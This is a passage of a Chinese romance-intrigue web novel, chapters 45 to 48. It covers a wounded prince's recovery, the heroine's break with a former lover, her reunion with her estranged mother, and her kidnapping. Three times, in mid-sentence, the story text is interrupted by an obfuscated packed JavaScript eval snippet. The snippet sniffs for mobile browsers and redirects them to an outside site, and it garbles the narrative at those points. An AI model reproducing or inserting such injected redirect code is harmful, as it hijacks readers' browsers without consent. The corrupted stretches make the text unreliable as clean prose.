厉欢颜瞪他一眼:“我哪知道。” 主院内,军医诊完脉道:“是气急攻心所致,好好调理身子便可恢复。” “有劳军医了。”谢陵脸上没有一点血色。 军医瞅了眼谢陵胸前隐隐渗出的血,叹气道:“王爷也该换药了,老夫再三叮嘱过,养病期间切莫乱动,一个两个,全把老夫的话当作耳旁风。” 闻梨清醒过来,发现自己睡在谢陵的寝房,爬起来坐好,她瞧见矮榻那边立了扇屏风,屏风后似乎有人影走动,紧接着风浅端了盆血水从中走出。 闻梨起身,来到屏风后,见到了谢陵换药的一幕,榻上被濡湿了大片血水,他伤处的刀口触目惊心。 谢陵原本是闭着眼的,听到不同寻常的脚步声,立刻睁眼,便对上一双略带歉疚和惊慌的眼眸,谢陵忙扯过衣裳来遮掩。 下一秒,谢陵的手背被军医不轻不重拍了下:“王爷莫动。” 扯掉谢陵衣裳的同时,军医抬头看向闻梨,十分和颜悦色:“好孩子,来帮我摁住王爷,他每次涂药都不安分。” 谢陵一脸黑:“说这个做什么?” 闻梨依照军医的请求,按住了谢陵的肩膀,以往闻梨才是被摁住的那个,今天姿势对换,闻梨一脸如常,谢陵却蓦地红了脸,神情很不自在,这次换药格外安静。 换完药,军医果断起身,想给二人留下独处空间,却被闻梨唤住,询问要多久换一次药。 “伤口养得快,五天换一次,若伤口还会渗血,每天都得换……” 闻梨一一记下了。 送走军医,闻梨回到谢陵身边,两人相顾无言,静静待了一阵,不但谢陵内心煎熬,闻梨心中也万般纠结,一方面自己找错仇人,还给了人一刀,于情于理,她就该认错道歉。 另一方面,谢陵又不是什么好人,囚禁她,折磨她,认错的话她有点说不出口,甚至不想他太过得意,但瞧见那血淋淋的伤口,她难逃良心的谴责。 “你还疼吗?”闻梨幽幽问了一句。 谢陵失神片刻,眼底涌动着别样情绪,从他强迫她入府那天,她从没给过他一个好脸色,更别提主动关心他,这突如其来的慰问,比什么都甜,哪怕再挨一刀,他死了也心甘情愿。 “疼啊,夜里疼得睡不着觉。”谢陵头回露出痛苦神色。 闻梨愈发自责,软下声来:“我会暂时待在你身边,帮你换药、熬药,等你伤好了,我还要回去住的。” 望着眼前温顺乖巧、满脸歉疚的闻梨,不知怎的,谢陵的心口像被某种柔软的东西撞了下,这种感觉说不出的奇怪,似乎弥补了他多年来的缺憾,不自觉生出一些渴望,想和她好好过日子,即使失去一切,他也甘之如饴。 也许这是个很好的开始。 46. 第四十六章 谢陵养病这几日愈发生活不能自理,要人喂饭药喂,要擦身子,要挠痒,要这要那,还说夜里总做噩梦,要闻梨时刻陪着他。 起初闻梨规规矩矩帮他这,帮他那,后来闻梨觉得不对劲,干脆躲起来,果然就见到谢陵像个没事人一样四处晃悠找她。 闻梨指着他的腿,拆穿道:“你不是说腿也疼,走不动路吗?” 谢陵有些心虚,捂着胸口咳了咳,颇有些弱不禁风,倘若陆回在场,瞧见这曾经攻无不克、凶神恶煞的边关大将军,变成如今这副扭捏作态的病秧子,恐怕也会骂一句:见鬼了! 当谢陵发现示弱没用,便收起那副病恹恹的神情,步步逼近,显露出真面目:“是卿卿答应要照顾我养病,莫非想反悔?” 闻梨被迫后退:“我只答应给你换药,没说要照顾你饮食起居,是你在耍无赖。” 谢陵难得一笑:“对,我就是在耍无赖,你能怎么办?” 身后是水池,闻梨退无可退,推开谢陵:“那我收回先前的话,恕不奉陪。” 谢陵牵住她,将人拥进自己怀里:“覆水难收啊卿卿,说过的话就要做到。” 闻梨怕弄到他的伤口,只好任他抱着,无奈道:“王爷如此重承诺,最好不要忘记一年的约定。” “当然。”谢陵望向满园春色,心情颇好:“我们离开玉京怎么样?你想去哪里,我可以陪你。” 闻梨诧异:“你舍得权势地位?” 谢陵:“孤坐高台有什么好的,我本来就不喜欢。” “那你何必费尽心思进京?” “……”谢陵噎住。 “有些事情当下是看不清楚的,如今我只要卿卿一人。” 闻梨扯开话题:“江山社稷怎么办?想必又会陷入另一番腥风血雨。” 谢陵:“有叔父坐镇,不会有什么事。” “若能离京,自然是最好的。”闻梨不再劝他,毕竟人心反复无常,也许过不了多久,他会怀念曾经手握权势的感觉。 其实谢陵的改变,闻梨都看在眼里,人心非草木,假如哪天他不会再逼迫她,拿权势压她,圈禁她,没准哪一天,她也能平心静气面对他。 “何时能走?” “快了,养好身体就能走。” “我想见他一面。” 谢陵面色微沉:“除了这事,别的都能答应你。” 闻梨早料到他会拒绝,又道:“我已经不喜欢他了,只想做个了断。” 谢陵脸色稍稍好转,“我去安排。”顺便他也有点旧账要找徐渺清算,总不能白白替他挨了一刀。 * “阿梨,你当真不跟我走?” 城门外,杨柳河岸,厉欢颜骑在马背上,又问了闻梨一遍,这几天,厉欢颜陆续知道了闻梨的过去,十分心疼她的遭遇,真想带她离开这里。 闻梨站在风里,摇了摇头,望着好友道:“若有机会,我们会再见的。” 希望那个时候她是自由的,这样才不会给阿颜带来麻烦,袅袅和段道长的事,她不想再经历第二遍。 送走厉欢颜,闻梨登上身后的马车,马车内还有个正闭目养神的谢陵。 “他今日来了。”谢陵冷不防开口道。 闻梨神情淡淡应了声好。 见她似乎是真放下了,谢陵心中镇定不少,从袖中掏出一把匕首,“给你防身用的。” 闻梨侧目看去,正是那天她从阿颜那借来,刺向谢陵的那把匕首,谢陵的意思她懂了。 默默收下。 马车驶过繁华街道,最终停在了庆丰茶馆门口,闻梨看了眼谢陵,见他坐着不动,闻梨起身欲下车,手忽而被他攥紧。 “卿卿,我只相信你这一次,别让我失望。”谢陵声音低沉,透着隐隐的不安。 “好。” 闻梨由着店小二引路,上了二楼雅间,是她平日常去的那间房,推开门,徐渺恰好从窗前转身,投来温柔缱绻的目光。 “坐下说。”徐渺将一杯茶推到闻梨面前。 闻梨盯着那张既熟悉又陌生的脸,心中恍如隔世,眼含痛色:“是不是你派人杀了小婉和段道长?” 徐渺眸底荡漾着的笑意渐渐消失,指腹摩挲着茶杯,声音仍旧平和冷静:“阿梨,我给你说个故事吧,从前有个小皇子,出生在高不可攀的帝王之家,但你知道他有多少兄弟姐妹吗?恐怕整间茶楼都站不下。” “小皇子和母亲、妹妹相依为命,分不到食物和炭火,北齐的冬天是会冻死人的,为了抢口吃的,他不择手段陷害皇弟,没成功,险些被打个半死。” “后来,他的母亲夜夜爬上宦臣的床榻,做宦臣的玩物,终于寻得机会,送小皇子出宫,可宫外照样难活,他跟野狗抢食,偷别人食物,被人贩子盯上,经历几遭转卖,才遇见了位好师父。” 徐渺眼睫微颤,声音很轻:“他好不容易经营起今天的权势地位,稍有不慎,母亲和妹妹又会陷入万劫不复之地,还有那些跟着他出生入死的属下,通通会死,他不能只为自己而活。” 听完徐渺的故事,闻梨脸色沉凝,久久未语。 徐渺喝口茶,缓和了心情:“我不奢望你能原谅我,却也不悔做过的事,是我亲手把你推回谢陵身边,如今谢陵大势已去,我帮你离开他。” 说罢,徐渺从怀里掏出一包药,递到闻梨眼前, “找机会把毒药下在他杯中,剩下的事情交给我。” 闻梨看着被推至自己面前的药包,目光仍落在那双曾经她认为漂亮无瑕的手上,现在只觉得厌恶,过往的一幕幕烟消云散,她已失望至极,心寒彻骨。 “还想再利用我一次吗?” 徐渺沉默住了,幽深的眸底涌动着难以辨别的情绪,想矢口否认,却心知肚明无论自己说什么,也不会改变她的看法。 “可是我悔啊,那天我不该救你,不该与你相识,不该喜欢你。”闻梨攥紧袖中的匕首,缓缓起身:“你不该拿无辜者的血去铺自己的路,你与那些你所憎恶的人,有何分别?” 闻梨飞快从袖中拔出刀,想为枉死的好友报仇,但徐渺毕竟是习武之人,反应更快,轻而易举夺走闻梨手中的匕首,还将她扣在怀中。 徐渺眼眶通红,面含愧疚:“阿梨抱歉,我真不想走到这步。” 与此同时,房门被人一脚踹开,谢陵阴沉着脸,剑尖直指徐渺,恶狠狠道:“放开她。” 徐渺胁着闻梨靠近窗边,见楼下没有埋伏,便松开闻梨,毫不犹豫跳窗而去。 谢陵气冲冲走过来:“你也太笨了,以为谁都像我一样站着给你杀,还是你压根就没想着要杀他?杀我的时候还知道藏到跟前再拔刀,在他面前,倒是早早露了手脚。” 闻梨有气无力坐下:“你好吵啊,你要气不过,也捅我一刀算了。” 谢陵走近问她:“如何,可对他死心了?” 闻梨闭上眼:“我累了。” * 经过两个月的修养,谢陵的伤势逐渐好转,起初闻梨担心谢陵反悔,直至离京的日子敲定,闻梨终于心定,每日往返药堂愈发勤快,亲自守着熬药,然后盯着谢陵喝下去,一口不许他剩。 虽然谢陵十分不喜喝药,奈何汤药都是闻梨亲手送来的,每次对上她那双略含期许的眼眸,他瞧得出来,她迫不及待想离开京城,便只能闷头喝下。 还好喝完,他能从她那里讨点甜头,要不然这日子过得实在清苦。 这几日,谢陵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593223|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆续安排了离京后的事宜,现在他身边能用之人就风浅和萧大郎,他已派风浅提前去月华城置办宅子,过完这个春天,便可出发。 书房内,谢陵交代完萧大郎最后的安排,刚坐下喝口茶,门外传来一道清脆稚嫩的女声,随后谢知瑶从门里蹦进来,飞快跑到谢陵身旁,笑盈盈望着他,问: “哥哥,你的伤好些了没?” 谢陵笑得宠溺:“从哪里冒出来的泥猴?” 谢知瑶嘿嘿一笑,遮住自己袖口的泥点:“我刚刚去爬树了,树上有鸟窝,窝里有好几只幼鸟,我本来想拿一只给哥哥解闷,但娘亲说不能碰,被人碰过幼鸟,大鸟就不要它们了。” 谢知瑶话音未落,门外缓缓走来一个气质温婉娴静的妇人。 谢陵见状,立刻起身,恭敬唤了声:“婶母。” 侯夫人轻挽云鬓,容貌昳丽,尽管这些年生活在漠北,肌肤莹似白雪,胜过宫中粉黛无数,风华气度丝毫不减年轻时候,是谢宗身边唯一的女人。 她微微福身,还了一礼。 谢陵常年在外征战,唯有家宴上见过这位侯夫人,私下并无半分交际,如今,一向深居简出的侯夫人却避开谢侯来寻他,谢陵心中存疑,面上并不显露,眼底多了几分防备。 侯夫人神情淡淡坐下,解释来意:“阿瑶听她父亲说,王爷不日便要搬离京都,便吵着要来见你,好端端的,为何突然决定离京?” 谢陵:“侄儿想远离朝堂是非,安稳养伤。” 谢知瑶面有不舍:“哥哥若是走了,以后谁教我骑马射箭?” 谢陵笑道:“你要真想学,我给你找个师傅好好学。” 侯夫人不语,只一味喝茶,期间扫了好几眼门外,皆被谢陵敏锐察觉,她似乎在等什么人。 谢陵也耐着性子,想看侯夫人藏着什么目的。 闻梨来送药时,发现书房门口站着两个不认识的侍女,本欲退避,过会再来,但转念想了想,不能耽误谢陵喝药,于是便把药递给身旁的清霜,让清霜送进去。 过了会儿,清霜原模原样把药端出来,神色不安道:“王爷说,不是公主亲手给的,不喝。” 闻梨只好端着药往书房进,与此同时,书房内探出一颗小脑袋,睁着圆溜溜的眼眸打量闻梨,好奇道: “你就是我堂兄养在后宅那位没名分的女子?” 闻梨顿住脚步,认出眼前人是谢陵的堂妹。 谢知瑶见她发愣,特意提醒道:“你忘啦,上次在园中,我们曾见过的,你还挺漂亮的嘛,难怪堂兄为了你当众悔亲。” 谢知瑶年纪小小,才来京都不久,却已听了不少兄长的八卦。 里间响起谢陵不悦的声音:“阿瑶,莫乱说话,按规矩,你该称她一声嫂嫂。” 谢知瑶眨眨眼,乖巧把路让出来:“嫂嫂请进。” 闻梨刚踏进书房,便见谢陵正襟危坐在案前,书案外边左侧的圈椅上坐着位紫衣妇人,恰好低头喝茶。 “过来见见婶母。”谢陵眼眸含笑,殷切望向闻梨,既见了他的家人,再给长辈敬一杯茶,往后他二人便是真夫妻,是真正的一家人。 闻梨心中挣扎一阵,勉强抬眸,再次看向那位紫衣妇人,而此时,那侯夫人也抬起脸,朝闻梨投来目光。 这下,闻梨看清了侯夫人的脸,登时犹如五雷轰顶,手中的托盘滑落,药碗砸响地面,碎成块,药汁溅湿了闻梨的裙边和鞋面。 谢陵立刻起身,拉过闻梨,想问她有没有被烫伤,但他发现她的手很冰,整个人如魔怔一般,一动不动,只一双失焦凝固的眼眸,紧紧盯着面前的侯夫人。 “母……妃?”闻梨唇色惨淡,声音有点发抖。 谢陵:“?” 47. 第四十七章 谢陵抬手覆上闻梨前额,没发烧,怀疑是闻梨思念母亲太过,稀里糊涂认错了人,看来今日不宜敬茶,便欲向婶母请谅,打算送闻梨回去歇息。 但闻梨不肯跟他走,谢陵分明从她的眼眸里,看出了孩童才会有的、对母亲的深深依恋。 再仔细一瞧,闻梨与侯夫人眼睛极为相似,尤其是眼尾的那颗小痣,连位置都一模一样。 短短几个呼吸,谢陵脸上神情瞬息万变,由困惑、担忧,变成错愕、惊骇,最终转而变得阴戾、愤怒,几乎难以压制胸腔内涌出的憎恨。 但他的手已被闻梨牢牢攥住。 侯夫人却一脸如常,随口找了个理由把谢知瑶支走,而后才看向闻梨,眼中情绪难辨:“你长大了,梨儿。” 闻梨怔怔望着只有梦里才会出现的人,如今听到这道熟悉的声音,泪如雨下,又哭又笑,笑容里透着怪意,她多年的思念,多年的恨意,多年的不甘和委屈,全在此刻爆发。 “你……为什么?要把我一个人扔在那吃人不吐骨头的深宫?”闻梨有些语无伦次,脑海闪过很多被沈皇后折辱的片段,可是她好似失语一般,一个也讲不出来。 虞莲也湿了眼眶,却撑着不落泪,声音依旧冷静:“如果是梨儿你,会怎么选?你恐怕不记得,我失宠那段日子,险些遭沈皇后毒害,我若不争,我们两个都得死,我若去争,赢了自不必说,可若输了,下场你也看到了,而你不同,没了我,沈皇后不会再针对你,尽管会受些折磨,总好过赐死。” 闻梨一个劲摇头,眼泪似断线的珍珠被甩开,“不是这样的,我宁愿跟着你去死,也不想被孤零零留在世上受辱,这十年间,我想得最多的一件事,就是如何不痛苦的死掉,母妃,我没有一天快乐,我生不如死。” 虞莲别过脸去,悄然拭去眼角的泪珠:“梨儿,我别无选择。” 闻梨心凉了大半,指甲嵌入手心,“那你逃出之后后,为何不回来接我?我这段日子一直在王府,你是知道的对不对?又为何现在才来见我?我被囚禁在这里,我不得自由,可是你在做什么,跟别的男人养了孩子,为何还要说那些冠冕堂皇的话骗我?” 虞莲沉默良久,忽而开口:“梨儿,你知道为何你过得不快乐吗?你太软弱了,太感情用事,容易被别人辜负,你要勇敢点,哪怕对方是你最亲最爱的人,也不要为了他们放弃自己,你想要的自由究竟是什么呢?这世间真的有一处你能安心的所在?” 闻梨默然。 “也许有一天,你能理解我,甚至成为我,我今天来这里,除了跟你相认,还有另外一件事。”虞莲扭头看向谢陵。 与此同时,谢陵将一把剑搁在虞莲颈间。 闻梨猛然回神,不知谢陵何时挣脱了她的手,情急之下,她直接握住剑尖,生怕谢陵一怒之下杀了她母妃。 “不要!”闻梨朝谢陵央求道,鲜血从她掌心渗出,谢陵从仇恨里醒悟,挣扎片刻,松了手。 闻梨松口气,眼泪模糊了视线,她抬起手背擦了擦,却蹭了一脸血,“母妃,我听不懂你说的道理,可无论什么时候,我都会救你,因为你是我母妃,哪怕你不爱我,我还是想救你,但是从此之后,你就不是我母妃了。” 虞莲眼底闪过泪花:“你这孩子,还是那么倔。” 谢陵不吭不响,找来纱布和金疮药给闻梨止血,做好这一切,他才冷冷看向虞莲,咬牙道:“我今日可以不杀你,但你必须说出真相,当年为何要派人灭我全家?” 虞莲眼底最后一丝柔情消失,脸色沉凝望向谢陵:“是谢宗自己派人灭了谢氏满门。” “荒唐!”谢陵感觉自己被戏耍了,愤怒之极,一掌拍裂案几,再三忍耐,“再给你一次机会。” 虞莲缓缓道来:“我与谢宗相识甚早,进宫前便与他互许终生,奈何造化弄人,我被养父送进宫争宠,与他彻底断了可能。” “后来,我复宠无望,再次遇到了在宫里当禁军的谢宗,他帮过我很多次,我对他深信不疑,直到有一天,他送来了吴王的投名状,说愿意扶持我膝下的养子登基。” “彼时的我,太着急翻身,于是同意了与吴王联手,不知是哪一步出了纰漏,让皇帝察觉到不对,很快,皇帝便暗中派人查我。” “那时候,谢宗也遇到了麻烦,你的父亲谢秦无意间发现了谢宗与我往来的书信,要谢宗与我断了,谢秦一心想挽救执迷不悟的弟弟,曾写了封请罪书,但还未上奏,那天夜里皇帝的探子查到了谢宗身上,谢宗将计就计,在你父亲书房内偷偷放下那些书信。” “皇帝盛怒,派人抄家捉谢秦问话,但是谢宗担心谢秦说出真相,于是在探子走后,买凶灭了谢家全族,此外,我们的计划已被皇帝知晓,我不得不逃出宫,提前联合吴王起势,哪知吴王根本不成气候,大军尚未打过来便逃了,最后我被围困在幽州台,才看清谢宗的真面目。” “他从一开始就没想帮我,不过是为了利用我,演一出救驾御前的戏码,我成了他加官进爵的垫脚石,临死前,他问我想不想活,如果想活,就揽下所有罪责,包括灭谢家满门的事,我想活,便认了罪。而他如约将我掉包救出,此后我不得不隐姓埋名,成了他的笼中物。” 室内沉寂了许久。 虞莲说罢,仍是一脸平静,彷佛在说一段与她无关紧要的故事,闻梨全程紧蹙眉头,在听到最后时,脸上微不可察闪过一丝迟疑和震惊。 谢陵撑在桌上的手,因震怒与愤恨,指尖捏得发白,几乎要陷进桌面,此时的他犹如一只即将暴走的野兽,那些被灌溉了十年之久的仇恨种子,在此刻变成一个笑话,他难以接受自己认贼作父,无法接受被蒙蔽了双眼十年,他抱着最后一丝侥幸问出口: “你有何实证?” 虞莲摇头:“知道当年之事的人,死的死,逃的逃,不剩什么活口,我若有实证,早在你掌握京都朝局之时便会拿出,当时谢宗惧你,不敢轻举妄动,而现在,你若真一走了之,谢宗不日便要废除幼帝登基,到那时候,没人能与他抗衡。” “没有实证,我怎能信你?”谢陵痛苦闭眼。 虞莲:“我曾派人去查过刑部封存的证物,并没有找到你父亲写的请罪书,谢宗也曾找过一段时间,我确定不在他手上,于是我派人去找了谢家案的主审,是当年的刑部尚书李固,很不凑巧,李固已经病死了,李固没有亲人,身后事是他徒弟操办的,他徒弟是沈家人,我与沈家积怨已久,线索到这里就断了。” 谢陵再度睁眼,眼眸腥红,俊脸扭曲:“李固的徒弟是谁?” “沈迟。” 谢陵猛然起身,大跨步出门,临走前,他忽然回头看了闻梨一眼:“晚上不必等我。” 室内再次变得安静。 虞莲端着手里凉透了茶,水面倒映着她那双沉静从容的眼眸,她的声音淡淡:“他对你还算真心。” 闻梨精神恍惚,木然抬头问她:“你所谋所求,究竟为何?” 虞莲放下冷茶,不快不慢吐了两个字:“皇权。” 门外再次传来谢知瑶的声音:“娘亲你又骗我,那边的树上根本没有鸟窝……咦哥哥怎么走了?” 虞莲起身,自然而言牵住谢知瑶的小手:“我们回家。” “嘶好痛啊娘亲。”谢知瑶掀起袖口,白嫩的胳膊被蹭破了皮,“刚才爬树弄到的,会不会留疤呀?要娘亲吹一吹。” 虞莲俯身,拾起谢知瑶的小手轻柔吹了吹。 “嘿嘿好痒!阿娘,回去给我做酒酿丸子吃吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“多谢。”谢陵失魂落魄走了。 夜里开始下起雨,清霜打着哈欠进来,“公主可要歇下了?” 闻梨的视线从窗外的雨,落回桌上的药碗,重新熬的汤药又凉了,“王爷还没回来?” 清霜:“不曾回来。” 闻梨拿起剪子,挑了挑烛火,屋内登时亮了许多,“我还不困,你先去歇息。” 不知过了多久,门外闯进一道淋湿的人影,闻梨蓦然回神,见谢陵站在门边,浑身沾满淤泥,身上的衣袍划烂几个口子,他的眼睫和发丝沾着雨滴,清俊的脸廓在灯影下愈发清晰,他红着一双眼,眼底的亮光支离破碎,神情落寞,面色苍白憔悴不堪。 他虽未说明经过,闻梨却从他狼狈、失意的反应,得出了真相,她起身拉着他进了净室,而后退出,端起冷掉的汤药,重新热了热。 大概半炷香的时间,谢陵从净室出来,披散着湿润的长发,换了套素净洁白的里衣,径直坐在闻梨对面的软榻上。 透过汤药氤氲的热气,他看到一张温柔平静的脸,是他从未见过的模样,连带着他心头烦闷、痛苦的情绪也被抚平了一些。 明明是同一副眉眼,闻梨却好似变了一个人,从前的她,看似乖顺的外表下,藏着随时会伤人伤己的利爪,她不肯对他敞开过往的伤口,却自己一把把往伤口撒盐,然后再遮掩起来,彷佛无事发生,其实心早已千疮百孔。 如今的她,没了那股倔强的、不服输的劲,而是一种前所未有的淡然与沉静,与虞莲的气质相近不少,但也有些许差异,虞莲身上有一种清醒的冷漠,闻梨则是一种内敛的柔和,很纯粹干净的气息。 他的心微微发紧,忽然有点不舍将这样无瑕洁净的明月拖进深渊,她从来不属于他一个人。 谢陵想清楚了,沉声开口:“明日,我送你离京。” 48. 第四十八章 烟河镇一连下了半月的雨,来往的行人客商被困在镇上唯一的客栈,整日忧心忡忡,生怕山水冲毁道路,耽误行程。 萧大郎刚打探消息回来,摘下蓑衣,立刻往客栈后厢房走去,一路过来,乔装打扮的士兵们问安声此起彼伏,萧大郎叮嘱众人醒着神,莫要让任何可疑之人接近。 隔着门,萧大郎回禀道:“公主,前方道路坍塌不少,一时半会儿走不了。” 闻梨捧着书卷,淡淡应了一声,让萧大郎回去歇息。 一旁的清霜沏了盏茶,离开王府的这段日子,眼见公主的脸一天天丰腴红润起来,清霜的心里也跟着高兴。 “公主,书看久了伤神,若是觉得闷,奴婢陪您在院中走走?” 闻梨搁下书,喝口茶,闭目养神了一会儿,而后推开窗,俯瞰朦胧细雨中的稻田,心中是前所未有的安宁,深吸一口气,她扭头朝清霜道:“我来教你识字吧?” 清霜一脸受宠若惊:“啊?” 闻梨笑着解释道:“往后你跟着我,少不了要待在医馆,若能找点事做,总不至于太闷,等你认识了字,想学医也好,当账房也罢,想融入宫外,总归要有自己的生活。” 清霜意外又惊喜,福身谢恩:“奴婢愿意。” 闻梨扶起她:“往后,宫里那套规矩,不必再记。” 夏末,暑气渐消,又是个阴雨连绵的天,萧大郎等人刚换班用过午膳,正在大堂内歇息,几人三言两语,问起了萧大郎的婚期。 萧大郎憨笑着道:“原本想跑完这趟差事再告诉众兄弟们,婚期定在明年开春,届时还请诸位兄弟来吃席。” 众人说得正热闹,忽而有个下属碰了碰萧大郎的胳膊,萧大郎即刻起身,朝门内走来的公主行礼。 闻梨看向众人,让清霜将手中的包袱递给萧大郎,“夜里蚊虫多,还将萧将军莫嫌针脚粗陋,把香囊分给大家防虫。” 萧大郎诚惶诚恐接过,待闻梨与清霜一走,众将士围过来一阵哄抢,他们当中,有好些人从没收到过女子送香囊,新奇地拿在手中把玩。 萧大郎怀里揣着一枚未婚妻亲手缝制的荷包,便将自己那份分出去。 入夜,雨滴敲打房顶的瓦砺,叮咚作响,檐下的士兵们聚精会神值守,店小二端了壶茶,颤巍巍走来,声音有些发抖:“几位爷……要不要喝茶醒醒神?” 离店小二最近的那个士兵,说了声多谢,刚想给兄弟们分茶水喝,被院内走来的萧大郎喝止:“怎可随意喝别人递来的水?” 这几日众人的饭菜和水,皆在萧大郎的监督下,由客栈后厨准备,确保护送途中万无一失。 那士兵讪讪松手,店小二经此一声呵斥,身子发抖得更加厉害,尤其在萧大郎出现后,店小二神色越发慌张,踉跄后退想要逃离现场。 萧大郎眼睛一眯,手掌一伸,将人提溜到自己面前,厉声质问:“谁派你来这送水的?” 店小二脸都吓白了,支支吾吾说不出话。 与此同时,后厢房传来一道凄惨的喊声:“公主!” 萧大郎意识到中计了,扔下店小二,快步朝后厢房走去,却见公主房门口躺了一地的尸首,房门大开,公主不知所踪。 清霜倒在门边,脖颈上的血泊触目惊心,她已经说不出话了,瞪着眼睛,手里紧紧攥着什么东西,想要递给萧大郎,在萧大郎接过的那一刻,清霜闭眼咽了气。 萧大郎看清手中的东西,登时眼睛发直,怒从心生,找来跑得最快的手下,吩咐他无论如何都要把此物送到王爷手上,随后集结剩下的人,朝着夜幕中追去。 公主已经在他手上丢过一回,这一次,他绝不容许同样的事情再发生。 夜雨如织,闻梨被人抗在肩头,在雨幕里急速狂奔,雨滴顺着她的脸逆淌过,模糊了她的视线,一点点冲刷掉她脸上沾染的那抹、属于清霜的鲜血。 脑海中浮现清霜前几日说过的话,她说等学会了认字,以后想当医馆的账房,可是为什么,明明自由就在眼前,还是被人剥夺了一切? 感受到肩膀上的人反抗得越来越激烈,黑衣人停下步子,放下闻梨,欲把人敲昏带走,岂料余光瞥见身后追来的人影。 “居然这么快?”黑衣人抬手敲晕闻梨,扔到一边,随即联合附近的同伴,加入这场雨中混战。 雨滴落在闻梨脸上,那张惨白沉睡的面容,对旁边的惨烈打斗毫无察觉,不知过了多久,追兵已然全部倒下,黑衣人也负了伤,同伴几乎也快死完了,不过从他的眼里,看不到半分对同伴性命的怜惜。 “非要来送死,拦都拦不住。”说着,黑衣人再次扛起闻梨,逐渐消失在雨林深处。 多日后,萧大郎等人的尸首被运送回京,谢陵悲恸欲绝,跪倒在众将士尸首面前,另一边,林氏医馆的小姐缓缓走到心爱之人身旁,亲手取回那枚染血的荷包,泪滴落下,血的颜色更深了些。 庆丰茶楼地下的一间密室,昏暗的烛灯照在几张凝重沉默的脸上,压抑低沉的气氛里,谢陵面上如同蒙了一层寒霜,那双深沉阴郁的眼眸透着怒意和杀气。 “这么说,谢宗连你也瞒过了?” 虞莲盯着那簇幽暗的烛火,声音里听不出任何情绪:“他已经开始怀疑我了,不过没有抓到什么把柄,他从一开始,就防备着我,这次他绑走梨儿,是想同时给你我一个警告,我们两个不宜再出面,接下来就看商先生的了。” 一张俊秀儒雅的脸,从烛光里缓缓抬眸,商晏望向二人,“如今情势对我们极为不利,朝堂大部分人皆归顺了谢侯,是该唤醒我们的人了。” 虞莲点头,没有任何异议,一旦联络这些年暗中发展的势力,那就意味着,要与谢宗撕下伪装,最后一战。 商晏望向谢陵:“为今之计,要先把王爷身边的心腹悉数召回。” 谢陵蹙眉:“可我的卿卿还在他手里,别跟我说,你们不打算救她,倘若真是如此,我们没必要结盟。” 虞莲垂眸。 商晏冷静分析道:“谢侯历来谨慎,身边跟着无数高手,想暗杀他很难,唯有把他引出京城,为了守住江山,他会留下大批心腹驻守京城。” “其二,谢侯一直忌惮废太子势力,刚到玉京时,他迟迟未从王爷手中夺权,是想拿王爷替他挡刀,如今王爷不再替他做事,废太子一日不除,他很难安心坐上那个位置。” “据我所知,废太子现在齐国十一皇子手上,齐国欲扶持废太子夺位,我朝局势越乱,于齐国而言越有利,若齐国愿意拿废太子交换,或许可救公主一命。” 半月后,一封来自晋朝京都的密信送到了徐渺手上,北齐的天已经开始冷了,他在炭火边拆开那封信,读罢,眉头紧皱,他即刻写下一封回信,派人快马加鞭送去。 又是半月后,回信送到了谢陵手上,同样昏暗的烛火下,密室内今日只有他与商晏,看完回信,谢陵冷笑出声:“他答应交换,但是提了两个条件,把龙门郡让给齐国,包括港口,第二条,他想要我的命。” 商晏眼中闪过一丝诧异:“那座港口连接北境多方势力,若给了齐国,只怕近十年,晋朝北方的贸易将会停滞,他们胃口不小啊。” 谢陵沉着脸,烧掉回信:“我说过,不计任何代价,至于我的性命,他未必有本事拿得去。” * 这一个月以来,谢陵暗中翻遍整个京都,以及谢宗可能藏人的地方,皆寻获无果,这日他刚回到府上,便有门人来报,说谢侯爷曾派人来过。 谢陵立即让人掉转马车头,朝着侯府驶去。 侯府外早有一干人候着,瞧见临王的车架,府上的管事躬身上前迎接:“请王爷下车,侯爷正等着您过去。” 谢陵掀帘而出,却见管事身旁还有一辆车马,他蹙眉询问:“这是何意?” 管事恭敬答道:“侯爷并不在府中,王爷要去的地方有点远。” 谢陵微微眯眼,冷声道:“带路。” 马车穿过繁华热闹的街市,缓缓停在一扇褪漆腐旧的大门前,门口的两座石狮落了厚厚的尘泥,朽烂的牌匾爬满蛛网,无一不在表明,此地多年无人居住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋内静默了好一阵子,谢陵紧盯着面前人的脖颈,无数次,他想将袖中的兵刃掏出,让谢宗知道什么叫生不如死,可谢宗既然敢摊牌,那就表明,这附近有埋伏。 谢陵极力克制冲动,茫然问道:“二叔此举何意?” 谢宗冷道:“我早与你说过,她是谢氏一族仇敌之女,可你不但爱上她,为了她多次忤逆我,还试图放她离开。既然她伤了你,那我绝对不会轻饶她。” 谢陵默了默,“其实二叔与侄儿想的一样,她伤透了我的心,送她离开,不过是想好好养伤,何况她不管逃到哪里,都逃不出侄儿的手掌心,可否请二叔把人还给我?” 谢宗转过身来,凌厉而狐疑的目光扫在谢陵身上,想从找出些许破绽,未果,他缓和了声色,道:“恐怕没办法还你了,今天叫你来,是为了一桩事,废太子有消息了,在齐国人手中,齐国想与我们做个交换,指名道姓要闻梨公主和亲,你说我该不该答应?” 谢陵愣了许久,沉声道:“侄儿不愿意,我的人即便是死,也得跟我埋在一起,怎么能拱手相送?” 谢宗却摇头:“糊涂,与江山社稷比起来,一个女子算得了什么?此事我已有决断,你不必再劝,等明儿,我在挑几个好的送你房里。” 